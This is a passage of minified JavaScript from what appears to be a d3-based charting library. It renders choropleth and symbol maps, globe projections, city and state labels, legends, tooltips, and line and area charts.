i=((p=e[u+1])!=null?p:t.offset(s,1)).getTime(),m=jn(n,s.getTime());((n.length)>(m)?(i)>(n[m]):!1)?o.push(new Date(n[m])):((s>=r?(a)>=(s):!1)?o.push(s):!1)}),o}function jn(t,n){let r=0,a=t.length;for(;(a)>(r);){let e=r+a>>1;(n)>(t[e])?r=e+1:a=e}return r}var Vt={w:.5,h:.145};var Xn=8,qe=12,_t=2.75,Jt=3,Wn=36,ce=(t,n)=>__gvAnd(__gvAnd(((n[2]+Jt)>(t[0])?t[2]+Jt>n[0]:!1),()=>((n[3]+Jt)>(t[1]))),()=>(t[3]+Jt>n[1]));function je(t,n,r){var l;let a=t.spec.style.map;if((!(((l=n.cities)!=null?l.length:!1))?!0:a.cities===!1))return;let e=t.width/n.w,o=[];if(a.legendAt){let[d,g]=[Vt.w*t.width,Vt.h*t.width],y=a.legendAt.endsWith("left")?0:t.width-d,x=a.legendAt.startsWith("top")?0:r-g;o.push([y,x,y+d,x+g])}let s=n.cities.slice(0,40),u=Wt(t,s.map(d=>d[0]),qe,{cls:t.cls("city-label"),weight:600}),i=t.svg.append("g").attr("class",t.cls("cities")).style("pointer-events","none"),m=0,p=[];s.forEach(([d,g,y],x)=>{var S;if(m>=((S=a.cityCount)!=null?S:Xn))return;let[f,b]=[g*e,y*e],A=[f-_t,b-_t,f+_t,b+_t];if((o.some(C=>ce(A,C))?!0:p.some(([C,w])=>__gvLt(Math.hypot(C-f,w-b),Wn))))return;let G=u[x],$=qe,V=[{box:[f+6,b-$/2,f+6+G,b+$/2],anchor:"start",tx:f+6,ty:b},{box:[f-6-G,b-$/2,f-6,b+$/2],anchor:"end",tx:f-6,ty:b},{box:[f-G/2,b-6-$,f+G/2,b-6],anchor:"middle",tx:f,ty:b-6-$/2},{box:[f-G/2,b+6,f+G/2,b+6+$],anchor:"middle",tx:f,ty:b+6+$/2}],N=C=>__gvAnd(__gvAnd((C[0]>=0?C[1]>=0:!1),()=>((t.width)>=(C[2]))),()=>((r)>=(C[3]))),I=V.find(C=>__gvAnd(__gvAnd(N(C.box),()=>(!ce(C.box,A))),()=>(!o.some(w=>ce(C.box,w)))));(I?(o.push(A,I.box),p.push([f,b]),m++,i.append("circle").attr("class",t.cls("city-dot")).attr("cx",f).attr("cy",b).attr("r",_t),i.append("text").attr("class",t.cls("city-label")).attr("x",I.tx).attr("y",I.ty).attr("dy","0.35em").attr("text-anchor",I.anchor).text(d)):!1)})}var Xe=["VT","NH","MA","RI","CT","NJ","DE","MD","DC"],Yn={CA:[80,318],FL:[790,534],ID:[192,163],KY:[703,315],LA:[562,460],MI:[683,199],NC:[816,350]},Zn=560;function Un(t,n,r){var i,m,p;let a=t.style.map,e=n?Pt:Dt,o=(m=(i=t.data.series[0])==null?void 0:i.values)!=null?m:[],s=(p=t.data.map)==null?void 0:p.categories;if(s){let l=new Map(a.categories.map(d=>[d.name,d.color]));return d=>{var g;return (s[d]!==null?s[d]!==void 0:!1)?(g=l.get(s[d]))!=null?g:et.muted:e}}if((a.continuous?a.stops.length>=2:!1)){let l=r.scaleLinear().domain(a.stops).range(a.colors).interpolate(r.interpolateLab).clamp(!0);return d=>(o[d]===null?!0:o[d]===void 0)?e:l(o[d])}if(!a.colors.length)return()=>e;let u=r.scaleThreshold().domain(a.thresholds).range(a.colors);return l=>(o[l]===null?!0:o[l]===void 0)?e:u(o[l])}function St(t,n){for(let[r,a]of Object.entries(n))t.style.setProperty(r,a,"important")}var Kn=t=>{var a,e;let n=["th","st","nd","rd"],r=t%100;return`${t}${(e=(a=n[(r-20)%10])!=null?a:n[r])!=null?e:n[0]}`},We=new WeakMap;function Qn(t,n){let r=t.width/n.w,a=n.features.map(e=>e.d).join("");return{height:Math.ceil(n.h*r),transform:`scale(${r})`,unit:1/r,d:e=>e.d,anchor:e=>e.anchor?[e.anchor[0]*r,e.anchor[1]*r]:null,land:()=>a,inner:()=>n.inner,outer:()=>n.outer,group:()=>n.group,sphere:()=>"",graticule:()=>""}}function Ze(t,n){var i,m,p;if(((t.sphere?!0:((i=n.data.map)!=null?i.pr:!1))?!0:((p=(m=n.data.map)==null?void 0:m.region)!=null?p.length:!1)))return t;let[[r,a],[e,o]]=Ie,s=l=>{let[d,g]=l.split("L")[0].split(" ").map(Number);return __gvAnd(__gvAnd((d>=r?(e)>=(d):!1),()=>(g>=a)),()=>((o)>=(g)))},u=l=>l.split("M").filter(d=>(d?!s(d):d)).map(d=>`M${d}`).join("");return{...t,features:t.features.filter(l=>!l.id.startsWith("72")),inner:u(t.inner),outer:u(t.outer),group:u(t.group)}}function Jn(t){let n=0;for(let r=0,a=t.length-1;(t.length)>(r);a=r++)n+=t[a][0]*t[r][1]-t[r][0]*t[a][1];return n}function tr(t){let n=r=>(r.length>=4?Math.abs(Jn(r))>1e-6:!1);return t.features.map(r=>{var a;return{type:"MultiPolygon",coordinates:((a=r.polygons)!=null?a:[]).filter(e=>__gvAnd(e.length,()=>(n(e[0])))).map(e=>[e[0],...e.slice(1).filter(n)])}})}function Ye(t,n,r,a=tr(n)){let{d3:e,spec:o}=t,s=o.style.map,u=s.projection==="globe",i={type:"GeometryCollection",geometries:a},m={type:"Sphere"},p,l;if(u)l=Math.min(t.width,Zn),p=e.geoOrthographic().rotate([r[0],r[1]]).fitExtent([[4,4],[t.width-4,l-4]],m);else{let x=(s.sphere?!0:s.graticule)?m:i;p=e.geoEqualEarth().fitWidth(t.width,x),l=Math.ceil(e.geoPath(p).bounds(x)[1][1])+1}let d=e.geoPath(p),g=new Map(n.features.map((x,f)=>[x.id,a[f]])),y=x=>{var f;return(f=d({type:"MultiLineString",coordinates:x}))!=null?f:""};return{height:l,transform:null,unit:1,d:x=>{var f;return(f=d(g.get(x.id)))!=null?f:""},anchor:x=>{let f=d.centroid(g.get(x.id));return (Number.isFinite(f[0])?Number.isFinite(f[1]):!1)?f:null},land:()=>{var x;return(x=d(i))!=null?x:""},inner:()=>{var x,f;return y((f=(x=n.lines)==null?void 0:x.inner)!=null?f:[])},outer:()=>{var x,f;return y((f=(x=n.lines)==null?void 0:x.outer)!=null?f:[])},group:()=>{var x,f;return y((f=(x=n.lines)==null?void 0:x.group)!=null?f:[])},sphere:()=>{var x;return(((u?!0:s.sphere))?(x=d(m))!=null:!1)?x:""},graticule:()=>{var x;return (s.graticule?(x=d(e.geoGraticule10()))!=null:!1)?x:""}}}function Ue(t,n){var H,q,M,c;let{d3:r,spec:a,svg:e}=t,o=a.data.map,s=a.style.map,u=(!!n.sphere?s.projection==="globe":!1),i=(H=s.center)!=null?H:[0,20],m=We.get(t.chartEl),p=((m?m.center[0]===i[0]:!1)?m.center[1]===i[1]:!1)?m:{center:i,rotate:[-i[0],-i[1]]};We.set(t.chartEl,p);let l=n.sphere?Ye(t,n,p.rotate):Qn(t,n),d=a.type==="map-dots",g=Un(a,t.dark,r),y=(M=(q=a.data.series[0])==null?void 0:q.values)!=null?M:[],x=new Map(o.ids.map((h,F)=>[h,F]).filter(([h])=>h!==null)),f=y.map((h,F)=>[h,F]).filter(([h])=>h!==null).sort((h,F)=>F[0]-h[0]),b=new Map;f.forEach(([h,F],T)=>b.set(F,(T>0?f[T-1][0]===h:!1)?b.get(f[T-1][1]):T+1));let A=(c=t.page)!=null?c:t.dark?"#1A1A1A":"#FFFFFF",G=(h,F,T)=>St(h,{fill:"none",stroke:F,"stroke-width":`${T}px`,"vector-effect":"non-scaling-stroke","stroke-linejoin":"round","pointer-events":"none"}),$=t.id("map-shadow"),V=l.unit;e.append("defs").append("filter").attr("id",$).attr("x","-5%").attr("y","-5%").attr("width","110%").attr("height","110%").append("feGaussianBlur").attr("stdDeviation",2.5*V);let N=e.append("g").attr("class",t.cls("map"));(l.transform?N.attr("transform",l.transform):!1);let I=N.append("path").attr("class",t.cls("shadow")).attr("filter",`url(#${$})`).attr("transform",`translate(${2*V},${2.5*V})`);St(I.node(),{fill:t.dark?"#000000":mt.earth,opacity:"0.25",stroke:"none","fill-rule":"evenodd","pointer-events":"none"});let S=N.append("path").attr("class",t.cls("sphere"));St(S.node(),{fill:u?t.dark?"#23282C":"#EEF3F6":"none",stroke:t.dark?et.darkMuted:et.muted,"stroke-width":"0.75px","pointer-events":"none"});let C=N.append("path").attr("class",t.cls("graticule"));G(C.node(),t.dark?et.darkGrid:et.grid,.5);let w=(h,F)=>{var Z,K;if(h===void 0)return`\x3cdiv class="${t.cls("tip-title")}">${ct(F)}\x3c/div>\x3cdiv class="${t.cls("tip-row")}">\x3cspan>No data\x3c/span>\x3c/div>`;let T=y[h],D=`\x3cdiv class="${t.cls("tip-title")}">${ct(a.data.x[h])}\x3c/div>`;(o.categories?(D+=it(t.cls("tip-row"),g(h),"Category",(Z=o.categories[h])!=null?Z:"None")):!1),(T!=null?(D+=it(t.cls("tip-row"),(o.categories?!0:d)?"transparent":g(h),a.data.series[0].label,t.fmtValue(T)),((!d?f.length>2:!1)?(D+=it(t.cls("tip-row"),"transparent","Rank",`${Kn(b.get(h))} of ${f.length}`)):!1)):!1);for(let j of(K=o.tips)!=null?K:[])(j.values[h]?(D+=it(t.cls("tip-row"),"transparent",j.label,j.values[h])):!1);return D},k=N.append("g").selectAll("path").data(n.features).join("path").attr("class",h=>t.cls(h.code==="land"?"land":"place")).each(function(h){let F=h.code==="land"?void 0:x.get(h.id);St(this,{fill:d?t.dark?De:Ae:F===void 0?t.dark?Pt:Dt:g(F),stroke:"none","fill-rule":"evenodd"})}),R=N.append("path");G(R.node(),A,n.id==="us-zips"?.3:n.id==="us-counties"?.4:.75);let B=N.append("path");G(B.node(),A,1.2);let O=N.append("path").attr("class",t.cls("map-hover"));G(O.node(),t.dark?et.darkPrimary:mt.earth,1.5),O.style("display","none");let Y=null;(d?!0:t.tooltip.bind(N,h=>{let F=h.target.__data__;if((!F?!0:!h.target.classList.contains(t.cls("place"))))return;let[T,D]=r.pointer(h,t.chartEl);Y=F,O.attr("d",l.d(F)).style("display",null),t.tooltip.show(w(x.get(F.id),F.name),T,D)},()=>{Y=null,O.style("display","none")}));let J=()=>{};if(d){let h=s.domain?Math.max(Math.abs(s.domain[0]),Math.abs(s.domain[1])):0,F=s.symbolMax*Math.min(1,t.width/600)*(t.mobile?.8:1),T=_=>(_===null?!0:!h)?3.5:Math.max(1.5,F*Math.sqrt(Math.abs(_)/h)),D=new Map(n.features.map(_=>[_.id,_])),Z=a.data.x.map((_,v)=>({i:v,r:T(y[v])})).sort((_,v)=>v.r-_.r),K=_=>o.categories?g(_):mt.turquoise,j=n.sphere?1:t.width/n.w,tt=_=>{var ut;let v=(ut=o.xy)==null?void 0:ut[_];if(v)return[v[0]*j,v[1]*j];let U=o.ids[_]?D.get(o.ids[_]):void 0;return U?l.anchor(U):null},P=e.append("g").selectAll("circle").data(Z).join("circle").attr("class",t.cls("symbol")).attr("r",_=>_.r).each(function(_){St(this,{fill:K(_.i),"fill-opacity":h?"0.78":"0.9",stroke:A,"stroke-width":"0.75px"})});J=()=>P.each(function(_){var U,ut;let v=tt(_.i);this.setAttribute("cx",String((U=v==null?void 0:v[0])!=null?U:0)),this.setAttribute("cy",String((ut=v==null?void 0:v[1])!=null?ut:0)),this.style.setProperty("display",v?"":"none")}),t.tooltip.bind(P,(_,v)=>{let[U,ut]=r.pointer(_,t.chartEl);t.tooltip.show(w(v.i,a.data.x[v.i]),U,ut)})}let rt=()=>{I.attr("d",u?l.sphere():l.land()),S.attr("d",l.sphere()),C.attr("d",l.graticule()),k.attr("d",h=>l.d(h)),R.attr("d",l.inner()),B.attr("d",l.group()),(Y?O.attr("d",l.d(Y)):!1),J()};if(rt(),u){let h=Math.min(t.width,l.height)/2,F=r.drag().on("drag",T=>{let D=75/h;p.rotate=[p.rotate[0]+T.dx*D,Math.max(-85,Math.min(85,p.rotate[1]-T.dy*D))],l=Ye(t,n,p.rotate),rt()});e.call(F).style("touch-action","none").style("cursor","grab")}if((a.type==="map-states"?s.labels:!1)){let h=e.append("g").attr("class",t.cls("map-labels")).style("pointer-events","none"),F=n.features.map(j=>({f:j,a:l.anchor(j)})).filter(j=>!!j.a),T=F.filter(j=>Xe.includes(j.f.code)).sort((j,tt)=>j.a[1]-tt.a[1]),D=(520)>(t.width),Z=(j,tt,P,_,v)=>h.append("text").attr("class",t.cls("map-label")).attr("x",j).attr("y",tt).attr("dy","0.35em").attr("text-anchor",P).style("fill",_).style("fill-opacity","0.8").text(v),K=t.width/n.w;for(let{f:j,a:tt}of F){if((!j.code?!0:Xe.includes(j.code)))continue;let P=x.get(j.id),_=Yn[j.code],[v,U]=_?[_[0]*K,_[1]*K]:tt;Z(v,U,"middle",P===void 0?t.dark?et.darkPrimary:et.primary:qt(g(P)),j.code)}if(!D){let j=t.width-16*K,tt=-1/0;for(let{f:P,a:_}of T){tt=Math.max(_[1],tt+14);let v=h.append("line").attr("x1",_[0]).attr("y1",_[1]).attr("x2",j-14).attr("y2",tt);St(v.node(),{stroke:t.dark?et.darkMuted:et.secondary,"stroke-width":"0.75px"}),Z(j,tt,"end",t.dark?et.darkPrimary:et.primary,P.code)}}}return (n.sphere?!0:je(t,n,l.height)),l.height}var Mt=8,Nt=2,ue=Nt+Mt+13,me=ue+5,Ke=me+15,er=Ke+8;function Qe(t,n,r,a,e){let o=r.style.map.legendAt;(((!t?!0:!o)?!0:!t.innerHTML)?!0:(n.appendChild(t),t.classList.add(e("legend--inset")),t.setAttribute("data-corner",o),(t.scrollWidth>Vt.w*a*1.15?(n.before(t),t.classList.remove(e("legend--inset")),t.removeAttribute("data-corner")):!1)))}function Je(t,n,r,a){var f,b,A,G,$,V,N,I;if(!n)return;let e=r.style.map,o=r.data.map,s=t.dark?et.darkSecondary:et.secondary,u=t.dark?Pt:Dt,i=new Set(o.ids.filter(S=>S!==null)),m=(r.type!=="map-dots"?a.features.some(S=>!i.has(S.id)):!1),p=(S,C)=>`\x3cspan class="${t.cls("legend-item")}">\x3csvg class="${t.cls("swatch")}" width="12" height="12" aria-hidden="true">\x3crect width="12" height="12" rx="2" fill="${S}"/>\x3c/svg>${ct(C)}\x3c/span>`,l=m?p(u,__gvOr(e.noDataLabel,()=>("No data"))):"",d=!!e.legendAt,g=S=>{if(!m)return{svg:"",width:0};let C=__gvOr(e.noDataLabel,()=>("No data")),w=d?0:S,k=d?Ke:Nt+Mt/2;return{svg:`\x3crect class="${t.cls("legend-nodata")}" x="${w}" y="${k-5}" width="10" height="10" rx="2" fill="${u}"/>\x3ctext x="${w+16}" y="${k}" dy="0.35em" class="${t.cls("legend-key")}">${ct(C)}\x3c/text>`,width:(d?0:24)+16+C.length*7.5}},y=(S,C)=>d?`width="${Math.max(S,C.width)}" height="${C.svg?er:me}"`:`width="${S+C.width+4}" height="${me}"`,x="";if(e.categories.length)x=e.categories.map(S=>p(S.color,S.name)).join("")+l;else if(r.type==="map-dots"){let S=e.domain?Math.max(Math.abs(e.domain[0]),Math.abs(e.domain[1])):0,C=e.symbolMax*Math.min(1,t.width/600)*(t.mobile?.8:1),w=k=>C*Math.sqrt(k/S);if((S?e.sizeTicks.length:!1)){let k=w(e.sizeTicks[e.sizeTicks.length-1]),R=k*2+7,B=[];[...e.sizeTicks].reverse().forEach((H,q)=>B.push(Math.max(R-2*w(H),q?B[q-1]+12:7)));let O=k*2+70,Y=Math.max(R+3,B[B.length-1]+8),J=`stroke:${s} !important;fill:none !important`,rt=[...e.sizeTicks].reverse().map((H,q)=>{let M=R-2*w(H);return`\x3ccircle cx="${k+1}" cy="${R-w(H)}" r="${w(H)}" style="${J};stroke-width:1px"/>\x3cpolyline points="${k+1},${M} ${k*2+4},${M} ${k*2+8},${B[q]}" style="${J};stroke-width:0.5px"/>\x3ctext x="${k*2+11}" y="${B[q]}" dy="0.35em" class="${t.cls("legend-label")}">${ct(t.fmtValue(H))}\x3c/text>`}).join("");x=`\x3csvg width="${O}" height="${Y}" aria-hidden="true">${rt}\x3c/svg>`}}else if(((e.continuous?e.stops.length>=2:!1)?e.stops[0]!==e.stops[e.stops.length-1]:!1)){let S=Math.min(d?170:260,t.width-20),C=t.id("legend-grad"),w=e.colors.map((B,O)=>`\x3cstop offset="${O/(e.colors.length-1)*100}%" stop-color="${B}"/>`).join(""),k=[e.stops[0],e.stops.length===3?e.stops[1]:null,e.stops[e.stops.length-1]].map((B,O)=>B===null?"":`\x3ctext x="${O/2*S}" y="${ue}" text-anchor="${["start","middle","end"][O]}" class="${t.cls("legend-label")}">${ct(t.fmtValue(B))}\x3c/text>`).join(""),R=g(S+24);x=`\x3csvg ${y(S,R)} aria-hidden="true">\x3cdefs>\x3clinearGradient id="${C}">${w}\x3c/linearGradient>\x3c/defs>\x3crect class="${t.cls("legend-step")}" y="${Nt}" width="${S}" height="${Mt}" rx="${Mt/2}" fill="url(#${C})"/>${k}${R.svg}\x3c/svg>`}else if((e.colors.length===1?!0:((e.continuous?e.stops.length>=2:!1)?e.stops[0]===e.stops[e.stops.length-1]:!1))){let S=(b=(f=e.domain)==null?void 0:f[0])!=null?b:e.stops[0];x=(S===void 0?"":p(e.colors[0],t.fmtValue(S)))+l}else if(e.colors.length){let S=e.colors.length,C=($=(G=(A=e.domain)==null?void 0:A[0])!=null?G:e.thresholds[0])!=null?$:0,w=(I=(N=(V=e.domain)==null?void 0:V[1])!=null?N:e.thresholds[e.thresholds.length-1])!=null?I:0,k=Math.max(1,e.thresholds.length),R=e.thresholds.map(yt(t.d3,r.style.yFormat,[C,w],k));if(__gvLt(new Set(R).size,R.length)){let M=Math.min(...e.thresholds.slice(1).map((c,h)=>c-e.thresholds[h]).filter(c=>c>0));(Number.isFinite(M)?(R=e.thresholds.map(yt(t.d3,r.style.yFormat,[C,w],Math.ceil((w-C)/M)))):!1)}let B=Math.max(0,...R.map(M=>M.length))*7+6,O=Math.max(B,Math.min(d?36:44,Math.floor((Math.min(320,t.width)-20)/S))),Y=O*S,J=t.id("legend-clip"),rt=e.colors.map((M,c)=>`\x3crect class="${t.cls("legend-step")}" x="${c*O}" y="${Nt}" width="${O}" height="${Mt}" fill="${M}"/>`).join(""),H=R.map((M,c)=>`\x3ctext x="${(c+1)*O}" y="${ue}" text-anchor="middle" class="${t.cls("legend-label")}">${ct(M)}\x3c/text>`).join(""),q=g(Y+24);x=`\x3csvg ${y(Y,q)} aria-hidden="true">\x3cdefs>\x3cclipPath id="${J}">\x3crect y="${Nt}" width="${Y}" height="${Mt}" rx="${Mt/2}"/>\x3c/clipPath>\x3c/defs>\x3cg clip-path="url(#${J})">${rt}\x3c/g>${H}${q.svg}\x3c/svg>`}n.innerHTML=x,n.style.display=x?"":"none",n.removeAttribute("role"),n.removeAttribute("aria-label")}function pe(t){return t.replace(/[\x26\x3c>"]/g,n=>({"\x26":"\x26amp;","\x3c":"\x26lt;",">":"\x26gt;",'"':"\x26quot;"})[n])}var nr=["line","area","column","bar","stacked","combo","dot","scatter"];function de(t){return (t.style.legend==="direct"?ve.includes(t.type):!1)}function tn(t,n,r,a){var f,b,A,G;if(!n)return;let e=r,o=e.data.series,s=(f=e.style.legend)!=null?f:"top",u=()=>{n.innerHTML="",n.style.display="none",n.removeAttribute("role"),n.removeAttribute("aria-label")};if(((s==="none"?!0:s==="subtitle")?!0:de(e)))return u();let i=($,V,N)=>$==="line"?`\x3csvg class="${t.cls("swatch")}" width="24" height="10" aria-hidden="true">\x3cline x1="1" x2="23" y1="5" y2="5" stroke="${V}" stroke-width="3.5" stroke-linecap="round"${N?' stroke-dasharray="6 4"':""}/>\x3c/svg>`:$==="dot"?`\x3csvg class="${t.cls("swatch")}" width="12" height="12" aria-hidden="true">\x3ccircle cx="6" cy="6" r="5" fill="${V}"/>\x3c/svg>`:`\x3csvg class="${t.cls("swatch")}" width="12" height="12" aria-hidden="true">\x3crect width="12" height="12" rx="2" fill="${V}"/>\x3c/svg>`,m=$=>e.type==="line"?"line":e.type==="combo"?$===0?"box":"line":(e.type==="scatter"?!0:e.type==="dot")?"dot":"box",p=($,V,N,I=!1)=>{let S=(N!==void 0?l:!1)?"button":"span",C=S==="button"?` type="button" data-key="${pe(N)}" aria-pressed="${!a.has(N)}" title="Show or hide ${pe($)}"`:"",w=`${t.cls("legend-item")}${(N!==void 0?a.has(N):!1)?` ${t.cls("legend-item--off")}`:""}`;return`\x3c${S} class="${w}"${C}>${V}${pe($)}${I?`\x3cspan class="${t.cls("legend-axis")}">right axis\x3c/span>`:""}\x3c/${S}>`},l=__gvAnd(__gvAnd(nr.includes(e.type),()=>(o.length>1)),()=>(!e.style.paletteId.startsWith("highlight"))),d=[];if(e.type==="donut"){let $=(b=e.data.categoryColors)!=null?b:[];d=e.data.x.map((V,N)=>p(String(V),i("box",te(e,$[N],t.dark))))}else if(e.type==="slope"){let $=e.style.paletteId;if((($==="rise-fall"?!0:$==="rise-fall-azure")?!0:$==="political")){let V=(A=e.data.categoryColors)!=null?A:[],[N,I]=e.data.series,S=R=>V.find((B,O)=>__gvAnd(((N==null?void 0:N.values[O])!=null?(I==null?void 0:I.values[O])!=null:!1),()=>(R(N.values[O],I.values[O])))),C=S((R,B)=>B>R),w=S((R,B)=>(R)>(B)),k=S((R,B)=>B===R);d=[C?p("Rose",i("line",te(e,C,t.dark))):"",w?p("Fell",i("line",te(e,w,t.dark))):"",k?p("No change",i("line",te(e,k,t.dark))):""].filter(Boolean)}}else if((e.style.paletteId.startsWith("highlight")?o.length>1:!1)){let $=Math.max(0,o.findIndex(V=>V.key===e.style.highlight));d=[p(o[$].label,i(m($),ot(e,$,t.dark))),p("All others",i(m($),ot(e,$===0?1:0,t.dark)))]}else if(o.length>1){let $=__gvAnd(o.some(V=>V.axis==="right"),()=>(o.some(V=>V.axis!=="right")));d=o.map((V,N)=>p(V.label,i(m(N),ot(e,N,t.dark),V.dashed),V.key,($?V.axis==="right":$)))}let g=d.join(""),y=n.ownerDocument.activeElement,x=(y?n.contains(y):!1)?(G=y.dataset)==null?void 0:G.key:void 0;if(n.innerHTML=g,n.style.display=d.length?"":"none",(l?d.length:!1)?(n.setAttribute("role","group"),n.setAttribute("aria-label","Series. Select to show or hide.")):(n.removeAttribute("role"),n.removeAttribute("aria-label")),x!==void 0){let $=[...n.querySelectorAll("[data-key]")].find(V=>V.dataset.key===x);(($?n.ownerDocument.activeElement!==$:!1)?$.focus():!1)}}function te(t,n,r){return xt(t,n!=null?n:et.muted,r)}function dt(t,n){var a,e,o;let r=(a=t.spec.style.imageFill)==null?void 0:a.photos;if(!r)return null;for(let s of n)if((s!==void 0?(((e=r[s])!=null?e.url:!1)):!1))return r[s].url;return __gvOr(((o=r["*"])==null?void 0:o.url),()=>(null))}function Et(t){var r;let n=(r=t.spec.style.imageFill)==null?void 0:r.photos;return(!!n?Object.values(n).some(a=>!!((a!=null?a.url:!1))):!1)}function ft(t,n,r,a){let e=t.svg.select("defs").empty()?t.svg.append("defs"):t.svg.select("defs"),o=t.id("grey");(e.select(`#${o}`).empty()?e.append("filter").attr("id",o).append("feColorMatrix").attr("type","saturate").attr("values","0"):!1);let s=new Map;return{clip:(m,p)=>{let l=p?`${m}|${p.x},${p.y},${p.w},${p.h}`:m,d=s.get(l);if(!d){let g=t.id(`clip-${e.selectAll("clipPath").size()}`);d={id:g,url:m,box:p!=null?p:{x:0,y:0,w:r,h:a},sel:e.append("clipPath").attr("id",g)},s.set(l,d)}return d.sel},paint:()=>{for(let m of s.values())n.insert("image",":first-child").attr("class",t.cls("photo")).attr("href",m.url).attr("x",m.box.x).attr("y",m.box.y).attr("width",Math.max(1,m.box.w)).attr("height",Math.max(1,m.box.h)).attr("preserveAspectRatio","xMidYMid slice").attr("clip-path",`url(#${m.id})`).attr("filter",`url(#${o})`)}}}function ee(t,n){var a;let r=t.spec.style.imageFill;return __gvAnd((!!r?r.mode==="category":!1),()=>(!!(((a=r.photos[n])!=null?a.url:!1))))}function ht(t,n){var r,a;return n?(a=(r=t.spec.style.imageFill)==null?void 0:r.opacity)!=null?a:.65:1}function ne(t,n,r,a,e,o){if(((0)>=(r)?!0:(0)>=(a)))return"";let s=Math.min(e,(o==="up"?!0:o==="down")?r/2:a/2,(o==="up"?!0:o==="down")?a:r),u=t+r,i=n+a;switch(o){case"up":return`M${t},${i}V${n+s}Q${t},${n} ${t+s},${n}H${u-s}Q${u},${n} ${u},${n+s}V${i}Z`;case"down":return`M${t},${n}V${i-s}Q${t},${i} ${t+s},${i}H${u-s}Q${u},${i} ${u},${i-s}V${n}Z`;case"right":return`M${t},${n}H${u-s}Q${u},${n} ${u},${n+s}V${i-s}Q${u},${i} ${u-s},${i}H${t}Z`;case"left":return`M${u},${n}H${t+s}Q${t},${n} ${t},${n+s}V${i-s}Q${t},${i} ${t+s},${i}H${u}Z`}}function vt(t,n,r,a){let e=t.length?t[0]:0,o=e;for(let s of t)((e)>(s)?(e=s):!1),(s>o?(o=s):!1);return (t.length?!0:([e,o]=[0,1])),(n?(e=Math.min(0,e),o=Math.max(0,o)):!1),(r!==null?(e=r):!1),(a!==null?(o=a):!1),(e===o?(o=e+1):!1),(e>o?([e,o]=[o,e]):!1),[e,o]}function nn(t){var j,tt;let{d3:n,spec:r,svg:a}=t,{data:e,style:o}=r,s=r.type==="area",u=(s?e.series.length>1:s),i=e.xKind==="category",m=e.x.map((P,_)=>e.xKind==="date"?_e(P):i?_:Number(P)),p=m.length;if(p===0)return;let l=__gvAnd((!s?e.series.some(P=>P.axis==="right"):!1),()=>(e.series.some(P=>P.axis!=="right"))),d=P=>(l?e.series[P].axis==="right":l),g=P=>e.series.filter((_,v)=>d(v)===P).flatMap(_=>_.values).filter(_=>_!==null),y=[],x,f;if(u){let P=m.map((_,v)=>e.series.map(U=>{var ut;return(ut=U.values[v])!=null?ut:0}));y=n.stack().keys(e.series.map((_,v)=>v)).value((_,v)=>_[v]).offset(n.stackOffsetDiverging)(P),[x,f]=vt(y.flatMap(_=>_.flatMap(v=>[v[0],v[1]])),!0,o.yMin,o.yMax)}else[x,f]=vt(g(!1),__gvOr(__gvOr(o.yFromZero,()=>(s)),()=>(en(t))),o.yMin,o.yMax);let b=t.margin,A=t.height-b.top-b.bottom,G=t.mobile?4:5,$=n.scaleLinear().domain([x,f]).nice(G).range([A,0]);t.setAxis($.domain(),G),b.left=lt(t,kt(t,$).map(t.fmtAxis),t.mobile?12:14)+10;let V=l?n.scaleLinear().domain(vt(g(!0),o.rightFromZero,null,null)).nice(G).range([A,0]):$,N=l?t.rightAxis(V.domain(),G):t.fmtAxis,I=l?V.ticks(G):[],S=l?lt(t,I.map(N),t.mobile?12:14)+10:0,C=P=>d(P)?V:$,w=P=>t.fmtFor(e.series[P]),k=e.series.map(P=>{for(let _=P.values.length-1;_>=0;_--)if(P.values[_]!==null)return _;return-1}),R=__gvAnd(de(r),()=>(!u)),B=__gvAnd((__gvOr(o.valueLabels,()=>(R))),()=>(!u)),O=P=>{if((0)>(k[P]))return["",""];let _=w(P)(e.series[P].values[k[P]]);return R?[e.series[P].label,o.valueLabels?_:""]:["",_]},Y=P=>O(P).filter(Boolean).join(" "),J=S?S+6:9,rt=R?{cls:t.cls("direct-label"),size:13,weight:700}:{cls:t.cls("value-label"),size:12,weight:500};if(B){let P=lt(t,e.series.map((_,v)=>Y(v)),rt.size,rt);b.right=Math.max(b.right,Math.min(P,t.width/3)+J+6)}else l?b.right=Math.max(b.right,S+4):(o.endDots?(b.right=Math.max(b.right,10)):!1);let H=Math.max(40,t.width-b.left-b.right),q=e.xKind==="date"?n.scaleUtc().domain(n.extent(m)).range([0,H]):n.scaleLinear().domain(n.extent(m)).range([0,H]),M=a.append("g").attr("transform",`translate(${b.left},${b.top})`);if($t(t,M,$,H),Yt(t,M,H,A),Tt(t,M,$,H),l){let P=wt(r,ot(r,e.series.findIndex(_=>_.axis==="right"),t.dark),t.dark);M.append("g").attr("class",t.cls("ticks")).selectAll("text").data(I).join("text").attr("x",H+8).attr("y",_=>V(_)).attr("dy","0.32em").style("fill",P).text(_=>N(_)),(o.rightLabel?a.append("text").attr("class",t.cls("axis-title")).attr("x",t.width).attr("y",t.rightTitleY).attr("text-anchor","end").style("fill",P).text(o.rightLabel):!1)}let c=P=>q(P);Qt(t,M,A,Ut(t,c,rr(t,q,m),i?p:Zt(H,t.mobile)),c);let h=P=>q(m[P]),F=t.id("plot");a.append("defs").append("clipPath").attr("id",F).append("rect").attr("x",-8).attr("y",-8).attr("width",H+16).attr("height",A+16);let T=M.append("g").attr("clip-path",(o.yMin!==null?!0:o.yMax!==null)?`url(#${F})`:null),D=M.append("g");if(s){let P=Et(t)?ft(t,T,H,A):null;(u?y:[e.series[0].values.map(v=>[0,v!=null?v:0])]).forEach((v,U)=>{var E;let X=(E=n.area().x((z,W)=>h(W)).y0(z=>$(z[0])).y1(z=>$(z[1]))(v))!=null?E:"",L=P?dt(t,[e.series[U].key]):null;((P?L:!1)?P.clip(L).append("path").attr("d",X):!1),T.append("path").attr("class",t.cls("area")).attr("d",X).attr("fill",ot(r,U,t.dark)).attr("fill-opacity",ht(t,L)),((p===1?e.series[U].values[0]!==null:!1)?T.append("circle").attr("cx",h(0)).attr("cy",$(v[0][1])).attr("r",3.5).attr("fill",ot(r,U,t.dark)):!1)}),(P==null?!0:P.paint())}if(!s){let[P,_]=$.domain(),v=((en(t)?(0)>=(P):!1)?_>=0:!1)?dt(t,[e.series[0].key]):null,U=v?ft(t,T,H,A):null;if((U?v:!1)){let E=(j=n.area().defined(z=>z!==null).x((z,W)=>h(W)).y0($(0)).y1(z=>$(z))(e.series[0].values))!=null?j:"";U.clip(v).append("path").attr("d",E),T.append("path").attr("d",E).attr("fill",ot(r,0,t.dark)).attr("fill-opacity",ht(t,v)),U.paint()}let 